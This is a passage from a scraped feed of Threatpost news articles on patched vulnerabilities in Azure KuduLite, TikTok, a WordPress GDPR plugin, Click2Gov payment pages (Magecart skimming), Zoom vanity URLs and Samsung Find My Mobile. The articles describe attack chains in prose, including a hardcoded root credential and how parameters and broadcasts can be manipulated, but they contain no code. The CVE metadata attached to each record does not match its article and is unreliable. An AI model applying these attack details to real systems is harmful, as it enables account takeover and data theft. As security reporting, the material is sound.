"CVE-2020-24407"], "modified": "2020-01-15T20:47:18", "id": "THREATPOST:4F15F64975E3F5BE228AE0A72697EE31", "href": "https://threatpost.com/podcast-nsa-reports-major-crypto-spoofing-bug-to-microsoft/151900/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:18:37", "description": "Researchers have disclosed two flaws in Microsoft\u2019s Azure web hosting application service, App Services, which if exploited could enable an attacker to take over administrative servers.\n\nAzure App Services is an HTTP-based service for hosting web applications, and is available in both Microsoft Azure Cloud and on-premise installations. Researchers found two vulnerabilities in the cloud service that specifically affect Linux servers.\n\n\u201cThe two vulnerabilities we found allow us to combine them and enable any attacker with the ability to forge post requests (SSRF) or [remote] code execution on an Azure App Service to take over the Azure App Service administration server,\u201d said Paul Litvak, [researcher with Intezer, in a Thursday post](<https://www.intezer.com/blog/cloud-security/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/>).\n\n[![Threatpost Webinar Promo Retail Security](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/07103433/webinar-promo-retail-security-1.jpg)](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\nBoth flaws were discovered three months ago and reported to Microsoft. Microsoft has since issued a fix. The vulnerabilities do not have CVE assignments.\n\n## KuduLite Bugs\n\nThe first flaw stems from an open-source project called KuduLite within Azure App Services. This Linux project manages the administration page that\u2019s used to register admins into the App Service Plan (to start using App Services a user must first create an App Service Plan).\n\nAfter discovering that the KuduLite instance\u2019s SSH service uses hardcoded credentials \u201croot:Docker!\u201d to access the application node, researchers were able to log in as root.\n\n\u201cAs a reminder, the developers of the App Service KuduLite made sure admins were only able to log into it as a low privileged user, so we knew this was unintended.\u201d\n\nAfter taking control of the KuduLite instance, researchers could then gain control over the Software Configuration Management (SCM) web server, which systematically manages and controls changes in the documents and codes during the Software Development Life Cycle. This allowed them to then listen to a user\u2019s HTTP requests to the SCM web page, add their own pages and inject malicious Javascript into the user\u2019s web page.\n\n\u201cThe user may also choose to let App Services manage the git server, in which case the server will be managed by KuduLite,\u201d said researchers. \u201cThe attacker could then add malicious code to the repository to achieve persistence and spread to other instances using the same git server.\u201d\n\nThe second flaw exists in the KuduLite API. The issue here stems from the application node being able to send requests to the KuduLite API sans access validation \u2013 an error that is especially problematic when considering a web app with an SSRF vulnerability, researchers said.\n\n\u201cAn attacker who manages to forge a GET request may access the application node\u2019s file system via the KuduLite \u200bVFS API,\u201d said researchers. \u201cThis would enable an attacker to easily steal source code and other assets on the application node.\u201d\n\nAn attacker who manages to forge a POST request, meanwhile, may achieve remote code execution on the application node via the \u200bcommand API\u200b, they said. And, in Windows (where Kudu is used), packets sent from the application node to the manager node are dropped.\n\nThese two vulnerabilities can be chained together, since once an attacker achieves code execution with the second vulnerability, they can then exploit the first one. One potential attack vector here is for an attacker to use this flaw to implant a phishing page in what\u2019s supposed to be the SCM web page (as seen in the video below).\n\nResearchers stressed that [cloud security is still relatively new](<https://threatpost.com/category/cloud-security/>), making it essential to research and document new attack surfaces that arise when using these services.\n\n\u201cAs a general best practice, runtime cloud security is an important last line of defense and one of the first actions you can to reduce risk, since it can detect malicious code injections and other in-memory threats that take place after a vulnerability has been exploited by an attacker,\u201d they said.\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar.**\n\nWrite a comment\n\n**Share this article:**\n\n * [Cloud Security](<https://threatpost.com/category/cloud-security/>)\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n", "cvss3": {}, "published": "2020-10-08T15:28:37", "type": "threatpost", "title": "Microsoft Azure Flaws Open Admin Servers to Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-10-08T15:28:37", "id": "THREATPOST:DBAD84DFBF09E2C28414A18721E5CA90", "href": "https://threatpost.com/microsoft-azure-flaws-servers-takeover/159965/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:26:38", "description": "Researchers say they have discovered several major vulnerabilities in the short form video app TikTok. The reported vulnerabilities come as [scrutiny](<https://threatpost.com/tiktok-banned-by-u-s-army-over-china-security-concerns/151480/>) around the Chinese-owned platform increases.\n\nResearchers say the most serious vulnerability in the platform could allow attackers to remotely take control over parts of victims\u2019 TikTok account, such as uploading or deleting videos and changing settings on videos to make \u201chidden\u201d videos public. Researchers also discovered a separate vulnerability that allowed them to obtain personal data of victims, such as email addresses and more.\n\n\u201cMany of us use the TikTok app to share enjoyable moments and snip bits of fun memories in the form of a short video clips,\u201d researchers with Check Point Research [said on Wednesday](<https://research.checkpoint.com/2020/tik-or-tok-is-tiktok-secure-enough/>). \u201cBut as some have experienced, there is often a fine line between fun clips to private, even intimate assets being compromised while trusting to be under the protection from the apps we use.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nTikTok, a social media app with over 1.3 billion installs worldwide, is owned by Beijing-based parent company ByteDance. The app\u2019s parent company, ByteDance, was notified in November of the flaws and fixed the issue on Dec. 15, researchers said.\n\nThe first vulnerability allowed partial account takeover via SMS link spoofing. Researchers were able to spoof a TikTok SMS link that invites users to download the application.\n\n[![tiktok ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/08085959/tikT-image-6-161x300.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/08085959/tikT-image-6.jpg>)\n\nA potential attacker could send an SMS invite message to a victim by capturing the HTTP request with a proxy tool (such as Burp Suite), inputting the victim\u2019s phone number into the \u201cMobile\u201d parameter, and changing the \u201cdownload_url\u201d parameter into a malicious URL of their choosing. The victim would then be sent a legitimate message from TikTok asking them to download the app, with a link to the attacker-controlled malicious domain.\n\nThis opens the victim up to an array of attacks, researchers said. \u201cWe found that it is possible to send a malicious link to a victim that will result in redirecting the victim to a malicious website. The redirection opens the possibility of accomplishing Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) and Sensitive Data Exposure attacks without user consent,\u201d they wrote.\n\nResearchers found that they could take this attack a step further and send requests on behalf of the user after the victim has opened the URL \u2013 enabling them to take over parts of victims\u2019 accounts.\n\n\u201cWith the lack of anti-Cross-Site request forgery mechanism, we realized that we could execute JavaScript code and perform actions on behalf of the victim, without his/her consent,\u201d researchers said.\n\nFinally, researchers said that once they had partial control over victims\u2019 accounts, they were able to make several API calls (in the https://api-t[.]tiktok[.]com and https://api-m[.]tiktok[.]com subdomains), which would then reveal sensitive information about the victim including email address, payment information and birthdates.\n\n\u201cTikTok is committed to protecting user data. Like many organizations, we encourage responsible security researchers to privately disclose zero day vulnerabilities to us,\u201d a TikTok spokesperson said in a media statement. \u201cBefore public disclosure, Check Point agreed that all reported issues were patched in the latest version of our app. We hope that this successful resolution will encourage future collaboration with security researchers.\u201d\n\nThe security flaws come as backlash [swells around TikTok\u2019s relationship with China](<https://threatpost.com/tiktok-banned-by-u-s-army-over-china-security-concerns/151480/>), leading the United States Army this week to announce that U.S. soldiers can no longer have the social media app on government-owned phones.\n\n_**Concerned about mobile security? **_[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) _**Top 8 Best Practices for Mobile App Security**__**, on Jan. 22 at 2 p.m. ET. **_**_Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts to discuss the secrets of building a secure mobile strategy, one app at a time._**_** **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)_**.**_\n", "cvss3": {}, "published": "2020-01-08T14:30:42", "type": "threatpost", "title": "TikTok Riddled With Security Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-08T14:30:42", "id": "THREATPOST:F45A1AEACEC0BF32FC6CDCECDF2B458D", "href": "https://threatpost.com/tiktok-riddled-with-security-flaws/151616/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:24:29", "description": "A popular WordPress plugin, which helps make websites compliant with the General Data Protection Regulation (GDPR), has issued fixes for a critical flaw. If exploited, the vulnerability could enable attackers to modify content or inject malicious JavaScript code into victim websites.\n\nThe plugin, [GDPR Cookie Consent](<https://wordpress.org/plugins/cookie-law-info/>), which helps businesses display cookie banners to show that they are compliant with [EU\u2019s privacy regulation](<https://threatpost.com/ahead-of-gdpr-information-governance-comes-into-its-own/132209/>), has more than 700,000 active installations \u2013 making it a ripe target for attackers. The vulnerability, which does not yet have a CVE number, affects GDPR Cookie Consent version 1.8.2 and below. Earlier this week, after the developer was notified of the critical flaw, the GDPR Cookie Consent plugin was removed from the [WordPress.org](<http://wordpress.org/>) plugin directory \u201cpending a full review\u201d according to the plugin\u2019s directory page. The new version, 1.8.3, was released by Cookie Law Info, the developer behind the plugin, on Feb. 10.\n\n\u201cThere were a number of code changes, but those relevant to security include a capabilities check added to an AJAX endpoint used in the plugin\u2019s administration pages,\u201d according to researchers with [Wordfence this week](<https://www.wordfence.com/blog/2020/02/improper-access-controls-in-gdpr-cookie-consent-plugin/>). While Wordfence disclosed details of the vulnerability, it was discovered by Jerome Bruandet, a security researcher with NinTechNet, who also detailed his findings [in a Wednesday post](<https://blog.nintechnet.com/wordpress-gdpr-cookie-consent-plugin-fixed-vulnerability/>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability stems from improper access controls in an endpoint used by the WordPress plugin\u2019s AJAX API, a web development technique used to create web applications. That endpoint is the \u201c_construct\u201d method within the plugin, used for initializing code for newly created objects. Once actions are created they are sent via AJAX to the \u201c_construct\u201d method; however, this process fails to implement checks.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/13152933/Wordfence-Critical-Bug-Rating-300x133.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/13152933/Wordfence-Critical-Bug-Rating.png>)Because of this, the AJAX endpoint, intended to only be accessible to administrators, actually also allowed subscriber-level users to perform a number of actions that can compromise the site\u2019s security, researchers said. A subscriber is a user role in WordPress, usually the with very limited capabilities, including logging into the website and leaving comments.\n\nThe \u201c_construct\u201d method accepts three different values from the AJAX API. Two of them, save_contentdata and autosave_contant_data, can be leveraged for exploitation by an attacker.\n\nThe save_contentdata method is used to allow administrators to save the GDPR cookie notices to the database as a page post type. However, since this method is not checked, an authenticated user or a subscriber can modify any existing page or post (or the entire website), and take them offline by changing their status from \u201cpublished\u201d to \u201cdraft.\u201d\n\n\u201cAdditionally, it is possible to delete or change their content. Injected content can include formatted text, local or remote images as well as hyperlinks and shortcodes,\u201d Bruandet said.\n\nThe other method, autosave_contant_data, is used to save GDPR cookie info page in the background while the admin is editing it, by saving the data into the cli_pg_content_data database field without validating it. However, the lack of checks for this method could allow an authenticated user to inject JavaScript code into the webpage. This code would then be loaded and executed each time someone visits the \u201chttp://example.com/cli-policy-preview/\u201d page.\n\nResearchers who discovered it urge WordPress plugin users to update as soon as possible: \u201cThis vulnerability has been fixed in version 1.8.3. We recommend that users immediately update to the latest version available,\u201d according to Wordfence.\n\n**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us **[**Wednesday, Feb. 19 at 2 p.m. ET**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)** when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**\n", "cvss3": {}, "published": "2020-02-13T20:21:09", "type": "threatpost", "title": "Critical WordPress Plugin Bug Afflicts 700K Sites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-02-13T20:21:09", "id": "THREATPOST:D002CB7A00429994A6A05F968060A826", "href": "https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:17:41", "description": "Researchers are warning that the websites of eight U.S. cities \u2013 across three states \u2013 have been compromised with payment card-stealing Magecart skimmers. The websites all utilize [Click2Gov municipality payment software](<https://threatpost.com/payment-card-breach-hits-8-cities-using-vulnerable-bill-portal/148521/>), which was previously involved in data breaches.\n\nUnlike other skimmers, which grab data on various types of payment forms on websites, the skimmer in this incident appears to only target website payment forms by Click2Gov. Click2Gov software is used in self-service bill-paying portals used by utilities and community development organizations for things such as paying parking tickets online.\n\n\u201cThe attack occurs when victims make an online payment on the compromised Click2Gov website,\u201d said researchers with Trend Micro in a [Friday analysis](<https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/>). \u201cJavaScript code was injected into the payment page which loads a credit card skimmer when victims browse the payment page.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe skimmer is extremely simple; no obfuscation or anti-debugging techniques were used. It hooks the \u201csubmit\u201d event of the payment form, so that when a victim clicks the button to submit their payment information, the skimmer will grab the information from the selected columns inside the payment form and immediately send the collected information to a remote server via a HTTP POST request.\n\nCybercriminals targeted the credit-card information (including card number, expiration date and CVV), name and contact address for the website users.\n\n\u201cWe were able to identify two of the exfiltration servers used in the attack,\u201d said researchers. \u201cBoth hosted the actual JavaScript skimmer, as well as a .JSP file used to receive the exfiltrated data. One of the servers was used for three sites, while the other server used for the remaining five sites. The two skimmers used are identical, save for the change in the hostname of the exfiltration servers.\u201d\n\nWhen asked if any of the skimmers have been removed from the websites, researchers told Threatpost, \u201cWe don\u2019t have access to that information.\u201d However, they believe that these attacks started on April 10 of this year, and are still active.\n\nWhen asked which city websites were affected in this incident, researchers told Threatpost, \u201cWe can\u2019t say,\u201d adding that Trend Micro \u201cprioritizes responsible disclosure of security incidents and chooses not to \u2018name and shame\u2019 victims. Our primary goal is to help organizations identify and mitigate these incidents. We have notified the breached parties who will be responsible for handling the situation within each city.\u201d\n\n## **Previous Click2Gov Breaches**\n\nClick2Gov was previously afflicted by a vulnerability (rooted in a compromised Click2Gov webserver) that led to two different data breaches of the websites of several towns and cities using the software.\n\nThe flaw was first discovered in [December 2018](<https://threatpost.com/payment-card-breach-hits-8-cities-using-vulnerable-bill-portal/148521/>) after continual breaches of it led to the compromise of at least 294,929 payment cards across the country. Overall, 46 confirmed impacted local governments were caught up in this first breach \u2013 including Saint Petersburg, Fla. (on October 2) Bakersfield, Calif. (November 14), and Ames, Iowa (December 2).\n\n[T](<https://threatpost.com/patched-click2gov-flaw-still-afflicting-local-govs/140109/>)[hen in 2019](<https://threatpost.com/patched-click2gov-flaw-still-afflicting-local-govs/140109/>), the vulnerable municipality payment software was targeted once again, this time part of a breach involving of eight cities in August. Those cities were: Coral Springs, Deerfield Beach, Milton and Palm Bay, Fla.; Bakersfield Calif.; Pocatello, Idaho; Broken Arrow, Okla.; and Ames, Iowa.\n\nThough they did not name the affected cities in this most recent security incident, researchers said that five of the eight cities were also affected in the previous breaches.\n\nA patch was issued for the Click2Gov vulnerability in 2017, but researchers said that the 2018 and 2019 breaches may have stemmed from municipalities not updating their systems.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/26144049/click2gov-1-300x176.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/26144049/click2gov-1.png>)However, researchers say, based on an analysis of both the skimmer and the infrastructure, they could not find any connections between this most recent breach and the incidents in 2018 and 2019.\n\n\u201cIt is not clear at this time if this attack which we identified is connected to the earlier breaches, since nothing about their technical details indicate a connection,\u201d said researchers. \u201cThe only connection is that five of the affected cities in the current incident were also affected in 2018; while two were included in the 2019 incident.\u201d\n\nThe Click2Gov software was developed by Superion, which has since [merged](<https://centralsqr.com/press-release/>) with other companies to form a new company called CentralSquare Technologies in July 2018. According to Risk Based Security, there appears to be between 600 to 6,000 installations of Click2Gov indexed.\n\nCentralSquare Technologies did not return a request for comment from Threatpost.\n\nRegardless, the incident show that credit card skimming attacks are still a major threat to online merchants. Magecart in particular has targeted various websites, from the [Nutribullet website](<https://threatpost.com/magecart-cyberattack-targets-nutribullet-website/153855/>) to an [Olympics ticket reseller](<https://threatpost.com/olympic-ticket-survival-sites-hit-by-cyberattack/152648/>). And in April, researchers [observed a new skimmer](<https://threatpost.com/emerging-makeframe-skimmer-magecart-smbs/154374/>) from the Magecart Group actively harvesting payment-card data from 19 different victim websites, mainly belonging to small- and medium-sized businesses (SMBs), for several months.\n\n\u201cDuring 2019, we also saw that [academic institutions](<https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/>) and hotel chains were targeted by similar attacks. This time, the attacker targeted the websites of various local governments,\u201d said Trend Micro researchers.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-06-26T20:18:06", "type": "threatpost", "title": "8 U.S. City Websites Targeted in Magecart Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-06-26T20:18:06", "id": "THREATPOST:A6991C9080305907C0352031B295B40D", "href": "https://threatpost.com/8-city-gov-websites-magecart/156954/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:16:33", "description": "A previously undisclosed bug in Zoom\u2019s customizable URL feature has been addressed that could have offered a hacker a perfect social-engineering avenue for stealing credentials or sensitive information.\n\nDisclosed by Zoom and Check Point on Thursday, the security flaw existed in the \u201cVanity URL\u201d feature for Zoom, which allows companies to set up their won Zoom meeting domain, i.e. \u201cyourcompany.zoom.us.\u201d Companies can add customized logos and branding to the page, and end users access the page and click meeting links within that page to connect to a Zoom call. Aside from the convenience driver for setting it up, the feature is also required for configuration if users want to turn on Single Sign On for the video service.\n\nTo mount an attack, cybercriminals would pose as a legitimate employee in a company, and then send a meeting invitation ostensibly from an organization\u2019s Vanity URL to intended victims \u2013 customers, partners, suppliers and so on. However, the attackers would actually be using an invitation URL that included a registered sub-domain of their choice \u2013 not the real Vanity URL of the spoofed company.\n\n\u201cIn other words, if the original link was https://zoom.us/j/##########, the attacker could change it to https://<organization\u2019s name>.zoom.us/j/##########,\u201d according to [an analysis](<https://blog.checkpoint.com/2020/07/16/fixing-the-zoom-vanity-clause-check-point-and-zoom-collaborate-to-fix-vanity-url-issue/>) from Check Point issued Thursday. \u201cWithout particular cybersecurity training on how to recognize the appropriate URL, a user receiving this invitation may not recognize that the invitation was not genuine or issued from an actual or real organization.\u201d\n\nA second way to initiate an attack would be to target dedicated Zoom web interfaces.\n\n\u201cSome organizations have their own Zoom web interface for conferences,\u201d according to Check Point. \u201cA hacker could target such an interface and attempt to redirect a user to enter a meeting ID into the malicious Vanity URL rather than the actual or genuine Zoom web interface. As with the direct links attacks, without careful cybersecurity training, a victim of such attacks may not have been able to recognize the malicious URL and have fallen prey to the attack.\u201d\n\nUltimately, once in the meeting, the attacker could continue to pose as a company employee, and proceed to extract credentials and sensitive information, as well as carry out other fraud actions, by asking certain questions or requesting that materials be sent over.\n\nCheck Point didn\u2019t release technical details of the bug, but did note that \u201cThere are several ways to enter a meeting containing a sub-domain, including using a direct sub-domain link containing the meeting ID, or using the organization\u2019s customized sub-domain web UI.\u201d\n\nZoom has fixed the issue on its end, closing the exploit capability off. Researchers at Check Point told Threatpost that they aren\u2019t aware of in-the-wild attacks prior to the fix.\n\n\u201cZoom has addressed the issue reported by Check Point and put additional safeguards in place for the protection of its users,\u201d a Zoom spokesperson told Threatpost, adding that the firm did not consider the issue a zero-day bug. The person went on, \u201cZoom encourages its users to thoroughly review the details of any meeting they plan to attend prior to joining, and to only join meetings from users they trust. We appreciate Check Point notifying us of this issue. If you think you\u2019ve found a security issue with Zoom products, please send a detailed report to security@zoom.us.\u201d\n\n\u201cBecause Zoom has become one of the world\u2019s leading communication channels for businesses, governments and consumers, it\u2019s critical that threat actors are prevented from exploiting Zoom for criminal purposes,\u201d added Adi Ikan, group manager at Check Point, in a statement to media.\n\nThe firm noted in its analysis that while the video conferencing service was already popular before the pandemic, in the \u2018new normal\u2019 of social distancing it has \u201cbecome the go-to platform globally for everything from high-level government and business meetings, to university and school classes, to family gatherings \u2013 meaning that Zoom usage has soared from 10 million daily meeting participants back in December 2019 to over 300 million in April 2020.\u201d\n\n## Zoom Security Parade Continues\n\nZoom continues to face security issues, even as hackers continue to probe the platform for weaknesses.\n\nLast week, the popular video service [patched a zero-day bug](<https://threatpost.com/unpatched-zoom-bug-rce/157317/>) in the Zoom Client for Windows that could have allowed remote code-execution. It impacted users of legacy versions of Windows, but was trivial to exploit, researchers said.\n\nAnd in April, it addressed [two zero-day flaws](<https://threatpost.com/two-zoom-zero-day-flaws-uncovered/154337/>) that were uncovered in Zoom\u2019s macOS client version, which could have given local, unprivileged attackers root privileges, and allowed them to access victims\u2019 microphone and camera. And also in April, several new databases [were uncovered on underground forums](<https://threatpost.com/troves-of-zoom-credentials-shared-on-hacker-forums/155163/>) sharing troves of recycled Zoom credentials.\n\nIn January, Zoom issued a [bevy of security fixes](<https://threatpost.com/zoom-fixed-flaw-opening-meetings-to-hackers/152266/>) after it came to light that the company\u2019s platform used weak authentication that made it possible for adversaries to join active meetings. The issues stemmed from Zoom\u2019s conference meetings not requiring a \u201cmeeting password\u201d by default.\n\nIn March and April, there were widespread reports of \u201cZoom-bombing,\u201d where trolls were [hijacking online meetings](<https://threatpost.com/fbi-threatens-zoom-bombing-trolls-with-jail-time/154495/>) in order to spread hate speech such as racist messages, threats of sexual harassment and pornographic images, which drove meeting participants offline or forced meetings to be abruptly cancelled.\n\nOther woes have also plagued the company, having to do with privacy. Zoom this spring [nixed a feature](<https://threatpost.com/zoom-removes-data-mining-linkedin-feature/154404/>) that came under fire for \u201cundisclosed data mining\u201d of users\u2019 names and email addresses, used to match them with their LinkedIn profiles. It also [removed a feature](<https://threatpost.com/zoom-kills-ios-apps-data-sharing-facebook/154275/>) in its iOS web conferencing app that was sharing analytics data with Facebook, after a report revealing the practice sparked outrage.\n\nMeanwhile, crooks will continue to target the platform, according to Check Point.\n\n\u201cIt\u2019s no surprise that the explosive growth in Zoom usage has been matched by an increase in new domain registrations with names including the word \u2018Zoom\u2019, indicating that cybercriminals are targeting Zoom domains as phishing bait to lure victims,\u201d the firm\u2019s analysis noted. \u201cWe have also detected malicious files impersonating Zoom\u2019s installation program.\u201d\n", "cvss3": {}, "published": "2020-07-16T16:14:17", "type": "threatpost", "title": "Zoom Addresses Vanity URL Zero-Day", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-07-16T16:14:17", "id": "THREATPOST:E07387431E59AD0A09420F7EFA295856", "href": "https://threatpost.com/zoom-vanity-url-zero-day/157510/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-16T22:18:47", "description": "Researchers have disclosed a slew of critical-severity, patched flaws in flagship Samsung smartphones \u2013 including the Galaxy S7, S8 and S9 models. The vulnerabilities specifically stem from Samsung\u2019s [\u201cFind My Mobile\u201d](<https://findmymobile.samsung.com/>) service, a feature built into the smartphones allowing users to locate their devices if they lose them.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/06145744/Threatpost_CC_webinar-269x300.png)](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)\n\nResearchers with Char49, who discovered the four glitches, said that if a bad actor convinced a target to download a malicious application onto their device, the flaws could have been chained together to launch various, insidious attacks. These could ultimately have resulted in complete data loss for the smartphone user (via a factory reset). Attackers could also track users\u2019 real-time locations, spy on phone calls and messages, lock users out of their phones, or unlock phones.\n\nIn a real-life attack, that could mean that \u201cwhen attacked, the device can be spied on or, in the worst-case scenario, wiped clean of all its data, without the victim even perceiving what was happening, exposing the victim to situations of blackmail and extortion,\u201d said researchers with Char49 in an [analysis of the flaws](<http://char49.com/tech-reports/fmmx1-report.pdf>) [PDF].\n\nResearchers told Threatpost that the vulnerabilities were first reported to Samsung Feb. 21, 2019, and quietly fixed by the smartphone company on April 7, 2019. However, the flaws were not disclosed until this past Friday, when Char49 researchers presented them [during a DEFCON session.](<https://www.youtube.com/watch?v=qbj-4NXsE-0&feature=youtu.be&t=1495>)\n\nResearchers also told Threatpost that there are no CVEs assigned to the flaws, as Samsung opted to not disclose the issues publicly in their website. However, Samsung did issue an internal SVE to the bugs (SVE-2019-14025), which is Samsung\u2019s identification mechanism for security issues, and classified the flaws as \u201ccritical.\u201d\n\n## **The Flaws**\n\nResearchers found four vulnerabilities in total in Find My Mobile. The first issue is that it\u2019s possible for a malicious app (installed on the smartphone) to change the URL endpoints that Find My Mobile uses to communicate with the backend servers. In an attack scenario, this means that when the Find My Mobile app makes a call to the backend servers, it \u201callows an attacker to create a man-in-the middle (MiTM) scenario, monitoring Find My Mobile call to the backend and, as we will see, to manipulate them,\u201d said researchers.\n\nThe second issue stems from three \u201cexported broadcast receivers\u201d (com.sec.pcw.device.receiver.PCWReceiver ) in the service that are not protected by permissions. [Broadcast receivers](<https://developer.android.com/guide/topics/manifest/receiver-element>) enable applications to receive intents that are broadcast by the system or by other applications, even when other components of the application are not running. Researchers said, sending a broadcast with a certain action (com.samsung.account.REGISTRATION_COMPLETED) can enable the backend server URL endpoints to be updated to an attacker controlled value. That means attackers can now monitor and control traffic from Find My Mobile to the backend servers.\n\n\u201cSo now, at server side, the attacker has lots of sensitive information,\u201d said researchers. \u201cTo start, the victim coarse location via the IP address of the request, but also several PIIs [personal identifiable information], both registrationId (from the 2 requests) and the victim\u2019s IMEI. This alone allows for user tracking. The attacker also gets, among other things, device brand\u2026 and other information not important for this attack scenario. \u201d\n\nThe third flaw stems from another unprotected broadcast receiver (com.sec.pcw.device.receiver.SPPReceiver). Researchers found that an attacker could leverage this flaw by sending a broadcast with a certain action to the broadcast receiver. This results in Find My Mobile contacting the Device Management (DM) server for updates: \u201cWhen Find My Mobile contacts the DM server, the DM can reply just with an equivalent to an OK or, most importantly, the accumulated actions requested by the user and missed by Find My Mobile while the smartphone was offline. And this is where an attacker can step in. If an attacker can modify a server response to include an action of his choosing, he can tell the smartphone which action to take,\u201d said researchers.\n\nThe final flaw discovered is a glitch in ncml:auth-md5, a base64 coded string that authenticates the message from the server. Researchers found that an issue in the authentication method allows the server to accept all server replies.\n\n\u201cWe\u2019re pretty sure it was not supposed to be implemented like this,\u201d said researchers. \u201cThere is no message signing or any mechanism that prevents message modification, which is great for an attacker.\u201d\n\nResearchers formed an attack that could chain these four flaws together. By convincing a target to install a malicious app on their device (via spear phishing or by other means), these flaws can allow an attacker to carry out any action that Find My Mobile can perform.\n\n\u201cThis attack was tested successfully on different devices (Samsung Galaxy S7, S8 and S9+). The [Proof of Concept] involves an APK [Android Application Package] and the server-side code that implements the logic needed to inject actions in the server responses,\u201d said researchers.\n\nSamsung smartphones have been found to have various security issues over the past year. Last year, [Samsung rolled](<https://threatpost.com/galaxy-s10-fingerprint-sensor-thwarted-with-screen-protector-report/149197/>)[ out](<https://threatpost.com/galaxy-s10-fingerprint-sensor-thwarted-with-screen-protector-report/149197/>) a software patch for the Galaxy S10 and Note10, addressing glitches in both phone models that allow the bypass of their built-in fingerprint authentication sensors.[ Also in 2019,](<https://threatpost.com/samsung-lg-android-spearphone-eavesdropping/146625/>) a new way to eavesdrop on people\u2019s mobile phone calls was uncovered after researchers unveiled an attack making use of Android devices\u2019 on-board accelerometers (motion sensors) to infer speech from the devices\u2019 speakers.\n\nThreatpost has reached out to Samsung for commented on the patched flaws.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and 